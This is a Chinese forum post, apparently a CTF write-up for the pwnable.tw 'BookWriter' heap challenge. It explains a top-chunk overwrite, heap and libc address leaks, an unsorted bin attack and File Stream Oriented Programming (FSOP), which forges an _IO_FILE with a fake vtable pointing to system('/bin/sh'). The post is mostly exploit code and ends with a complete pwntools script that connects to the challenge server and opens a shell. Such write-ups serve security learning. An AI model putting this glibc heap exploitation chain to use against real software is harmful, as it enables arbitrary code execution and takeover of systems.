首页
论坛
课程
招聘
[原创]Pwnable.tw之BookWriter
2018-5-11 17:39 2088

[原创]Pwnable.tw之BookWriter

2018-5-11 17:39
2088

Pwnable.tw之BookWriter

知识点

    FSOPFILE Stream Oriented Programming的缩写, 进程内所有的_IO_FILE结构会使用_chain域相互连接成一个链表, 这个链表的头部由_IO_list_all维护.
    FSOP的核心思想就是劫持_IO_list_all的值来伪造链表和其中的_IO_FILE项, 但是单纯的伪造只是伪造了数据还需要某种方法进行触发.
     topchunk size小于申请大小, top chunk 加入unsorted bin中, 系统重新分配一块top chunk.
    首次加入unsorted binchunk块, 若再次使用此chunk, glibc会将其先加入对应small bin中, 再从small bin取出使用, 剩余的加入到unsorted bin中.
    unsorted_bin attack: 前提是控制Unsorted Bin chunkbk指针

程序运行

0. Welcome

Welcome to the BookWriter !
Author :Bill

1. Menu

1. Add a page        
2. View a page       
3. Edit a page       
4. Information       
5. Exit

2. Add

Your choice :1
Size of page :32
Content :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Done !

3. View

Your choice :2
Index of page :0
Page #0
Content :
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

4. Edit

Your choice :3
Index of page :0
Content:CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCa
Done !

5. Information

Your choice :4
Author : Bill
Page : 1
Do you want to change the author ? (yes:1 / no:0) n

程序分析

author: 0x602060
heap_address: 0x6020a0
number: 0x602040
size: 0x6020E0

信息泄露

     通过观察发现authorhead_address相邻,输入0x40个字符即可将NULL填满, 使用Information打印Author,可打印出heap的地址, 即所谓信息泄露.

 

top chunk modify

add(0x18, "A"*0x18)
edit(0, "B"*0x18)
'''
由于'B'*0x18与top chunk相邻, strlen会将top chunk的长度也算进去,
总长度: 0x18 + 3, 3是0x020fe1的长度
'''
edit(0, "\x00"*0x18 + "\xe1" + "\x0f")

长度错误

 

result01

过程介绍

1. leak memory

#leak heap address
Welcome("A"*0x40)
Add(1, 0x18, "A"*0x18)
Edit(3, 0, "B"*0x18)
Edit(3, 0, "\x00"*0x18 + p32(0xfe1) + "\x00")
Information(4, 0, 1)

#leak libc address
Add(1, 0x1000, "\x00"*0x1000) #add top chunk to unsorted bin
for i in range(7):
  Add(1, 0x50, "A"*0x8)
View(2, 3)

result02

 

2. 伪造

 

解析: 前面讲到有一个长度错误, 这个长度错误就是会将index 0的长度修改成一个地址, 这意味着我们可以输入很多的数据, 修改top chunk.

 

1.Unosrted Bin Attack: 修改_IO_list_allmain_arena+0x58

//glibc 2.23 3515 lines
/*
*0x22872c0:    0x0068732f6e69622f    0x0000000000000061
*0x22872d0:    0x00007f844ef79b78(main_arena+0x58)    0x00007f844ef7a510(_IO_list_all - 0x10)
*/
unsorted_chunk (av)->bk = bck;
bck->fd = unsorted_chunks (av); //bck->fd = [0x7f844ef7a510+0x10] = 0x7f844ef79b78

result03

 

2.伪造_IO_FILE绕过一些检查:

while (fp != NULL)
    {

      ......
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
#endif
       )
      && _IO_OVERFLOW (fp, EOF) == EOF)
    result = EOF;

      ......
    }
  • fp->_mode > 0
  • fp->_IO_write_ptr > fp->_IO_write_base
  • fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
data = "\x00"*0x2b0
payload ="/bin/sh\x00" + p64(0x61) + p64(libc_addr) + \
p64(_IO_list_all) + p64(2) + p64(3) # 3 > 2(fp->_IO_write_ptr > fp->_IO_write_base)
'''
由于我们伪造的_wide_data = 0, fp->_wide_data->_IO_write_ptr >
fp->_wide_data->_IO_write_base 相当于 fp->_IO_write_ptr > fp->_IO_write_base
'''
payload = payload.ljust(0xc0, "\x00")
payload += p64(0xffffffffffffffff) # _mode > 0
payload = payload.ljust(0xd8, "\x00")

vtable = heap_address + 0x2b0 + 0xd8 + 0x8
payload += p64(vtable)

3.fake vtable

payload += p64(0) * 2 + p64(1) + p64(system) #__overflow在第四位个位置

3. 触发

p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of page :')
p.sendline(str(0x10))

一个疑问

问题: 请问fake FILE是如何链入到进程中的?

这就要用到上面提到的0x61, 这个可不是随便写的一个值._chain_IO_FILE第十四个字段, 而0x61chunkunsorted bin进入small bin时, 正好将0x61写入这第十四个字段.

 

result04

The Whole EXP

#!/usr/bin/env python
from pwn import *
import pwnlib

debug = 0
elf = ELF('./bookwriter')
if debug:
    p = process('./bookwriter', env={'LD_PRELOAD':'./libc_64.so.6'})
    libc = ELF("./libc_64.so.6")
    context.terminal = ['gnome-terminal','-x','sh','-c']
#    context.log_level = 'debug'
else:
    p = remote("chall.pwnable.tw", 10304)
    libc = ELF("./libc_64.so.6")

def add(num,content):
    p.recvuntil('Your choice :')
    p.sendline('1')
    p.recvuntil('Size of page :')
    p.sendline(str(num))
    p.recvuntil('Content :')
    p.send(content)
def view(num):
    p.recvuntil('Your choice :')
    p.sendline('2')
    p.recvuntil('Index of page :')
    p.sendline(str(num))
def edit(num,content):
    p.recvuntil('Your choice :')
    p.sendline('3')
    p.recvuntil('Index of page :')
    p.sendline(str(num))
    p.recvuntil('Content:')
    p.send(content)
def info(num,content):
    p.recvuntil('Your choice :')
    p.sendline('4')
    p.recvuntil('(yes:1 / no:0) ')
    p.sendline(str(num))
    if(num):
        p.recvuntil('Author :')
        p.sendline(content)
    else:
        pass

def leak_heap():
    p.recvuntil('Your choice :')
    p.sendline('4')
    p.recvuntil('a'*0x40)
    result = u64(p.recvline()[0:-1].ljust(8,'\0'))
    p.recvuntil('(yes:1 / no:0) ')
    p.sendline('0')
    return result

#part one
p.recvuntil('Author :')
p.sendline('a'*0x40)


add(0x18,'a'*0x18)   #the real chunk size is 0x20
edit(0,'a'*0x18)
edit(0,'\0'*0x18+'\xe1'+'\x0f'+'\0')
heap_addr = leak_heap()
print hex(heap_addr)
add(0x1000,'a'*0x100) #add top chunk to unsorted bin

for i in range(7):
    add(0x50,'a'*0x8)

#gdb.attach(p)
view(3)
p.recvuntil('aaaaaaaa')
libc_addr  = u64(p.recvline()[0:-1].ljust(8,'\0'))
libc.address = libc_addr - 0x3c3b78

print 'libc_base: ', hex(libc.address)
print 'libc_addr:', hex(libc_addr)
print 'system: ',hex(libc.symbols['system'])
print 'heap: ',hex(heap_addr)
print "_IO_list_all: " + hex(libc.symbols['_IO_list_all'])

data = '\0'*0x2b0
payload = '/bin/sh\0'+p64(0x61)+p64(libc_addr)+p64(libc.symbols['_IO_list_all']-0x10)+p64(2)+p64(3)
payload = payload.ljust(0xc0,'\x00')
payload += p64(0xffffffffffffffff)
payload = payload.ljust(0xd8,'\x00')
vtable = heap_addr + 0x2b0 + 0xd8 + 0x8
payload += p64(vtable)
payload +=p64(0)+p64(0)+p64(1)+p64(libc.symbols['system'])

edit(0,data + payload)
#
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of page :')
p.sendline(str(0x10))
p.interactive()

特别提醒

在自己机器上试的同学, 除了将libc改成自己的外, 还要将泄露的地址与libc_base之间的偏移改为0x3c4b78

本人环境: Ubuntu 16.04.4 LTS

参考链接

极目楚天舒
CTF-WiKi
wolfzhang
ret2forever
文件下载


[公告]请完善个人简历信息,好工作来找你!

最后于 2018-5-11 17:41 被baolongshou编辑 ,原因:
收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回